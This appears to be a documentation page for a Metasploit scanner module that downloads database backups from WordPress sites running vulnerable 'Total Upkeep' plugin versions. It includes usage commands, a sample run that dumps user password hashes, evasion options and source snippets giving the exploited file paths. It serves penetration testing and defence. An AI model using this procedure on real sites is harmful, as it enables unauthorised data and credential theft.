WordPress Total Upkeep Unauthenticated Backup Downloader - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/wp_total_upkeep_downloader metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: WordPress Total Upkeep Unauthenticated Backup Downloader
Module: auxiliary/scanner/http/wp_total_upkeep_downloader
Source code: modules/auxiliary/scanner/http/wp_total_upkeep_downloader.rb
Disclosure date: 2020-12-12
Last modification time: 2021-12-15 16:42:46 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module exploits an unauthenticated database backup
vulnerability in WordPress plugin 'Boldgrid-Backup' also
known as 'Total Upkeep' version < 1.14.10. First,
env-info.php
is read to get server information. Next,
restore-info.json
is read to retrieve the last backup
file. That backup is then downloaded, and any sql files will
be parsed looking for the wp_users INSERT statement to grab
user creds.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/wp_total_upkeep_downloader
msf auxiliary(wp_total_upkeep_downloader) > show options
... show and set options ...
msf auxiliary(wp_total_upkeep_downloader) > set RHOSTS ip-range
msf auxiliary(wp_total_upkeep_downloader) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(wp_total_upkeep_downloader) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(wp_total_upkeep_downloader) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(wp_total_upkeep_downloader) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits an unauthenticated database backup vulnerability in WordPress plugin 'Boldgrid-Backup' also known as 'Total Upkeep' version < 1.14.10.
Exploitation happens in a few steps:
- First,
env-info.php
is read to get server information. - Next,
restore-info.json
is read to retrieve the last backup file. - That backup is then downloaded, and any sql files will be parsed looking for the
wp_users
INSERT
statement to grab user creds.
A vulnerable version can be downloaded from here: Boldgrid Backup (Total Upkeep)
A free account will need to be registered at Boldgrid's site, and a serial key generated and applied. Once the key is applied, click "Backup Site Now", or create a backup through other mechanisms in the interface.
Verification Steps
- Install the plugin and create a backup
- Start msfconsole
- Do:
use auxiliary/scanner/http/wp_total_upkeep_downloader
- Do:
set rhosts [ip]
- Do:
run
- You should get an archive backup.
Scenarios
Boldgrid-Backup (Total Upkeep) 1.14.9 on Wordpress 5.4.4 running on Ubuntu 20.04.
resource (total_upkeep.rb)> use auxiliary/scanner/http/wp_total_upkeep_downloader
resource (total_upkeep.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (total_upkeep.rb)> run
[+] 1.1.1.1 - Vulnerable version detected
[*] 1.1.1.1 - Obtaining Server Info
[+] 1.1.1.1 -
gateway_interface: CGI/1.1
http_host: 1.1.1.1
php_sapi_name: apache2handler
php_uname: Linux wordpress2004 5.4.0-52-generic #57-Ubuntu SMP Thu Oct 15 10:57:00 UTC 2020 x86_64
php_version: 7.4.3
server_addr: 1.1.1.1
server_name: 1.1.1.1
server_protocol: HTTP/1.1
server_software: Apache/2.4.41 (Ubuntu)
uid: 33
username: www-data
[+] 1.1.1.1 - File saved in: /home/h00die/.msf4/loot/20201230163041_default_1.1.1.1_boldgridbackup._165408.txt
[*] 1.1.1.1 - Obtaining Backup List from Cron
200
[+] 1.1.1.1 -
ABSPATH: /var/www/wordpress/
archive_key: 0
cron_secret: ab0d1ce965f799a90bd4f1bd5f3009471eb9e020a15408e3d91256e9cf3e74dd
filepath: /var/www/wordpress/wp-content/boldgrid_backup_L8VjcGzUexMe/boldgrid-backup-1.1.1.1-ec5c393c-20201230-211323.zip
siteurl: http://1.1.1.1
site_title: localhost
restore_cmd: php -d register_argc_argv="1" -qf "/var/www/wordpress/wp-content/plugins/boldgrid-backup/boldgrid-backup-cron.php" mode=restore siteurl=http%3A%2F%2F1.1.1.1 id=ec5c393c secret=ab0d1ce965f799a90bd4f1bd5f3009471eb9e020a15408e3d91256e9cf3e74dd archive_key=0 archive_filename=boldgrid-backup-1.1.1.1-ec5c393c-20201230-211323.zip site_title=localhost
timestamp: 1609362824
[+] 1.1.1.1 - File saved in: /home/h00die/.msf4/loot/20201230163041_default_1.1.1.1_boldgridbackup._983176.txt
[*] 1.1.1.1 attempting download of wp-content/boldgrid_backup_L8VjcGzUexMe/boldgrid-backup-1.1.1.1-ec5c393c-20201230-211323.zip
[+] 1.1.1.1 - Database backup (22372663 bytes) saved in: /home/h00die/.msf4/loot/20201230163042_default_1.1.1.1_boldgridbackup._100789.zip
[*] 1.1.1.1 - Attempting to pull creds from wp-content/plugins/boldgrid-backup/vendor/ifsnop/mysqldump-php/tests/test001.src.sql
[*] 1.1.1.1 - Attempting to pull creds from wp-content/plugins/boldgrid-backup/vendor/ifsnop/mysqldump-php/tests/test002.src.sql
[*] 1.1.1.1 - Attempting to pull creds from wp-content/plugins/boldgrid-backup/vendor/ifsnop/mysqldump-php/tests/test005.src.sql
[*] 1.1.1.1 - Attempting to pull creds from wp-content/plugins/boldgrid-backup/vendor/ifsnop/mysqldump-php/tests/test006.src.sql
[*] 1.1.1.1 - Attempting to pull creds from wp-content/plugins/boldgrid-backup/vendor/ifsnop/mysqldump-php/tests/test008.src.sql
[*] 1.1.1.1 - Attempting to pull creds from wp-content/plugins/boldgrid-backup/vendor/ifsnop/mysqldump-php/tests/test009.src.sql
[*] 1.1.1.1 - Attempting to pull creds from wp-content/plugins/boldgrid-backup/vendor/ifsnop/mysqldump-php/tests/test010.src.sql
[*] 1.1.1.1 - Attempting to pull creds from wp-content/plugins/boldgrid-backup/vendor/ifsnop/mysqldump-php/tests/test011.src.sql
[*] 1.1.1.1 - Attempting to pull creds from wp-content/plugins/boldgrid-backup/vendor/ifsnop/mysqldump-php/tests/test012.src.sql
[*] 1.1.1.1 - Attempting to pull creds from wordpress_db.20201230-211322.sql
[+] wp_users
========
user_login user_pass
---------- ---------
admin $P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0
admin2 $P$BNS2BGBTJmjIgV0nZWxAZtRfq1l19p1
editor $P$BdWSGpy/tzJomNCh30a67oJuBEcW0K/
[*] 1.1.1.1 - finished processing backup zip
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/wp_total_upkeep_downloader) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
1.1.1.1 admin2 $P$BNS2BGBTJmjIgV0nZWxAZtRfq1l19p1 Nonreplayable hash phpass
1.1.1.1 editor $P$BdWSGpy/tzJomNCh30a67oJuBEcW0K/ Nonreplayable hash phpass
1.1.1.1 admin $P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0 Nonreplayable hash phpass
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/wp_total_upkeep_downloader auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/wp_total_upkeep_downloader
msf6 auxiliary(scanner/http/wp_total_upkeep_downloader) > show info
Name: WordPress Total Upkeep Unauthenticated Backup Downloader
Module: auxiliary/scanner/http/wp_total_upkeep_downloader
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2020-12-12
Provided by:
Wadeek
h00die
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
This module exploits an unauthenticated database backup
vulnerability in WordPress plugin 'Boldgrid-Backup' also known as
'Total Upkeep' version < 1.14.10. First, `env-info.php` is read to
get server information. Next, `restore-info.json` is read to
retrieve the last backup file. That backup is then downloaded, and
any sql files will be parsed looking for the wp_users INSERT
statement to grab user creds.
References:
https://www.exploit-db.com/exploits/49252
https://wpscan.com/vulnerability/10502
https://wpscan.com/vulnerability/10503
https://plugins.trac.wordpress.org/changeset/2439376/boldgrid-backup
Module Options
This is a complete list of options available in the scanner/http/wp_total_upkeep_downloader auxiliary module:
msf6 auxiliary(scanner/http/wp_total_upkeep_downloader) > show options
Module options (auxiliary/scanner/http/wp_total_upkeep_downloader):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/wp_total_upkeep_downloader auxiliary module:
msf6 auxiliary(scanner/http/wp_total_upkeep_downloader) > show advanced
Module advanced options (auxiliary/scanner/http/wp_total_upkeep_downloader):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WPCHECK true yes Check if the website is a valid WordPress install
WPCONTENTDIR wp-content yes The name of the wp-content directory
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/wp_total_upkeep_downloader module can do:
msf6 auxiliary(scanner/http/wp_total_upkeep_downloader) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/wp_total_upkeep_downloader auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/wp_total_upkeep_downloader) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <IP> - Server not online or not detected as wordpress
- <IP> - A vulnerable version of the 'Boldgrid Backup' was not found
- <IP> - Connection failed
- <IP> - Connection failed. Non 200 code received
- <IP> - Unable to parse JSON output. Check response: <RES.BODY>
- <IP> - Connection failed
- <IP> - No database backups detected
- <IP> - Connection failed. Non 200 code received
- <IP> - Unable to parse JSON output. Check response: <RES.BODY>
- <IP> - no file found
- <IP> - Connection failed
- <IP> - Unable to download
- <IP> - Connection failed. Non 200 code received
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<IP> - Server not online or not detected as wordpress
Here is a relevant code snippet related to the "<IP> - Server not online or not detected as wordpress" error message:
37: )
38: end
39:
40: def run_host(ip)
41: unless wordpress_and_online?
42: fail_with Failure::NotVulnerable, "#{ip} - Server not online or not detected as wordpress"
43: end
44:
45: checkcode = check_plugin_version_from_readme('boldgrid-backup', '1.14.10')
46: unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode)
47: fail_with Failure::NotVulnerable, "#{ip} - A vulnerable version of the 'Boldgrid Backup' was not found"
<IP> - A vulnerable version of the 'Boldgrid Backup' was not found
Here is a relevant code snippet related to the "<IP> - A vulnerable version of the 'Boldgrid Backup' was not found" error message:
42: fail_with Failure::NotVulnerable, "#{ip} - Server not online or not detected as wordpress"
43: end
44:
45: checkcode = check_plugin_version_from_readme('boldgrid-backup', '1.14.10')
46: unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode)
47: fail_with Failure::NotVulnerable, "#{ip} - A vulnerable version of the 'Boldgrid Backup' was not found"
48: end
49: print_good("#{ip} - Vulnerable version detected")
50:
51: print_status("#{ip} - Obtaining Server Info")
52: res = send_request_cgi({
<IP> - Connection failed
Here is a relevant code snippet related to the "<IP> - Connection failed" error message:
52: res = send_request_cgi({
53: 'method' => 'GET',
54: 'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cli', 'env-info.php')
55: })
56:
57: fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
58: fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
59: begin
60: data = JSON.parse(res.body)
61: rescue StandardError
62: fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output. Check response: #{res.body}"
<IP> - Connection failed. Non 200 code received
Here is a relevant code snippet related to the "<IP> - Connection failed. Non 200 code received" error message:
53: 'method' => 'GET',
54: 'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cli', 'env-info.php')
55: })
56:
57: fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
58: fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
59: begin
60: data = JSON.parse(res.body)
61: rescue StandardError
62: fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output. Check response: #{res.body}"
63: end
<IP> - Unable to parse JSON output. Check response: <RES.BODY>
Here is a relevant code snippet related to the "<IP> - Unable to parse JSON output. Check response: <RES.BODY>" error message:
57: fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
58: fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
59: begin
60: data = JSON.parse(res.body)
61: rescue StandardError
62: fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output. Check response: #{res.body}"
63: end
64: output = []
65: data.each do |k, v|
66: output << " #{k}: #{v}"
67: end
<IP> - Connection failed
Here is a relevant code snippet related to the "<IP> - Connection failed" error message:
78: print_status("#{ip} - Obtaining Backup List from Cron")
79: res = send_request_cgi({
80: 'method' => 'GET',
81: 'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cron', 'restore-info.json')
82: })
83: fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
84: fail_with Failure::NotVulnerable, "#{ip} - No database backups detected" if res.code == 404
85: fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
86:
87: begin
88: data = JSON.parse(res.body)
<IP> - No database backups detected
Here is a relevant code snippet related to the "<IP> - No database backups detected" error message:
79: res = send_request_cgi({
80: 'method' => 'GET',
81: 'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cron', 'restore-info.json')
82: })
83: fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
84: fail_with Failure::NotVulnerable, "#{ip} - No database backups detected" if res.code == 404
85: fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
86:
87: begin
88: data = JSON.parse(res.body)
89: rescue StandardError
<IP> - Connection failed. Non 200 code received
Here is a relevant code snippet related to the "<IP> - Connection failed. Non 200 code received" error message:
80: 'method' => 'GET',
81: 'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'boldgrid-backup', 'cron', 'restore-info.json')
82: })
83: fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
84: fail_with Failure::NotVulnerable, "#{ip} - No database backups detected" if res.code == 404
85: fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
86:
87: begin
88: data = JSON.parse(res.body)
89: rescue StandardError
90: fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output. Check response: #{res.body}"
<IP> - Unable to parse JSON output. Check response: <RES.BODY>
Here is a relevant code snippet related to the "<IP> - Unable to parse JSON output. Check response: <RES.BODY>" error message:
85: fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
86:
87: begin
88: data = JSON.parse(res.body)
89: rescue StandardError
90: fail_with Failure::NotVulnerable, "#{ip} - Unable to parse JSON output. Check response: #{res.body}"
91: end
92: output = []
93: data.each do |k, v|
94: output << " #{k}: #{v}"
95: end
<IP> - no file found
Here is a relevant code snippet related to the "<IP> - no file found" error message:
101: data,
102: 'restore-info.json'
103: )
104: print_good("#{ip} - File saved in: #{path}")
105: unless data['filepath']
106: print_bad("#{ip} - no file found")
107: end
108: # pull a url from the local file system path
109: path = data['filepath'].sub(data['ABSPATH'], '')
110: print_status("#{ip} attempting download of #{path}")
111: res = send_request_cgi({
<IP> - Connection failed
Here is a relevant code snippet related to the "<IP> - Connection failed" error message:
110: print_status("#{ip} attempting download of #{path}")
111: res = send_request_cgi({
112: 'method' => 'GET',
113: 'uri' => normalize_uri(target_uri.path, path)
114: })
115: fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
116: fail_with Failure::NotVulnerable, "#{ip} - Unable to download" if res.code == 404
117: fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
118: path = store_loot(
119: 'boldgrid-backup.backup.zip',
120: 'application/zip',
<IP> - Unable to download
Here is a relevant code snippet related to the "<IP> - Unable to download" error message:
111: res = send_request_cgi({
112: 'method' => 'GET',
113: 'uri' => normalize_uri(target_uri.path, path)
114: })
115: fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
116: fail_with Failure::NotVulnerable, "#{ip} - Unable to download" if res.code == 404
117: fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
118: path = store_loot(
119: 'boldgrid-backup.backup.zip',
120: 'application/zip',
121: ip,
<IP> - Connection failed. Non 200 code received
Here is a relevant code snippet related to the "<IP> - Connection failed. Non 200 code received" error message:
112: 'method' => 'GET',
113: 'uri' => normalize_uri(target_uri.path, path)
114: })
115: fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
116: fail_with Failure::NotVulnerable, "#{ip} - Unable to download" if res.code == 404
117: fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Non 200 code received" if res.code != 200
118: path = store_loot(
119: 'boldgrid-backup.backup.zip',
120: 'application/zip',
121: ip,
122: res.body,
Go back to menu.
Related Pull Requests
- #15192 Merged Pull Request: Enforce Style/RedundantBegin for new modules
- #14568 Merged Pull Request: Wordpress Plugin: 'Boldgrid-Backup' (Total Upkeep) backup download
References
- CVE: Not available
- EDB-49252
- WPVDB-10502
- WPVDB-10503
- https://plugins.trac.wordpress.org/changeset/2439376/boldgrid-backup
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/wp_abandoned_cart_sqli
- auxiliary/scanner/http/wp_arbitrary_file_deletion
- auxiliary/scanner/http/wp_bulletproofsecurity_backups
- auxiliary/scanner/http/wp_chopslider_id_sqli
- auxiliary/scanner/http/wp_contus_video_gallery_sqli
- auxiliary/scanner/http/wp_dukapress_file_read
- auxiliary/scanner/http/wp_duplicator_file_read
- auxiliary/scanner/http/wp_easy_wp_smtp
- auxiliary/scanner/http/wp_email_sub_news_sqli
- auxiliary/scanner/http/wp_gimedia_library_file_read
- auxiliary/scanner/http/wp_learnpress_sqli
- auxiliary/scanner/http/wp_loginizer_log_sqli
- auxiliary/scanner/http/wp_mobileedition_file_read
- auxiliary/scanner/http/wp_mobile_pack_info_disclosure
- auxiliary/scanner/http/wp_modern_events_calendar_sqli
- auxiliary/scanner/http/wp_nextgen_galley_file_read
- auxiliary/scanner/http/wp_registrationmagic_sqli
- auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
- auxiliary/scanner/http/wp_simple_backup_file_read
- auxiliary/scanner/http/wp_subscribe_comments_file_read
- auxiliary/scanner/http/wp_wps_hide_login_revealer
- auxiliary/admin/http/wp_automatic_plugin_privesc
- auxiliary/admin/http/wp_custom_contact_forms
- auxiliary/admin/http/wp_easycart_privilege_escalation
- auxiliary/admin/http/wp_gdpr_compliance_privesc
- auxiliary/admin/http/wp_google_maps_sqli
- auxiliary/admin/http/wp_masterstudy_privesc
- auxiliary/admin/http/wp_symposium_sql_injection
- auxiliary/admin/http/wp_wplms_privilege_escalation
- auxiliary/gather/wp_all_in_one_migration_export
- auxiliary/gather/wp_ultimate_csv_importer_user_extract
- auxiliary/gather/wp_w3_total_cache_hash_extract
- auxiliary/scanner/wproxy/att_open_proxy
- exploit/windows/browser/c6_messenger_downloaderactivex
- exploit/windows/fileformat/wm_downloader_m3u
Authors
- Wadeek
- h00die
Version
This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.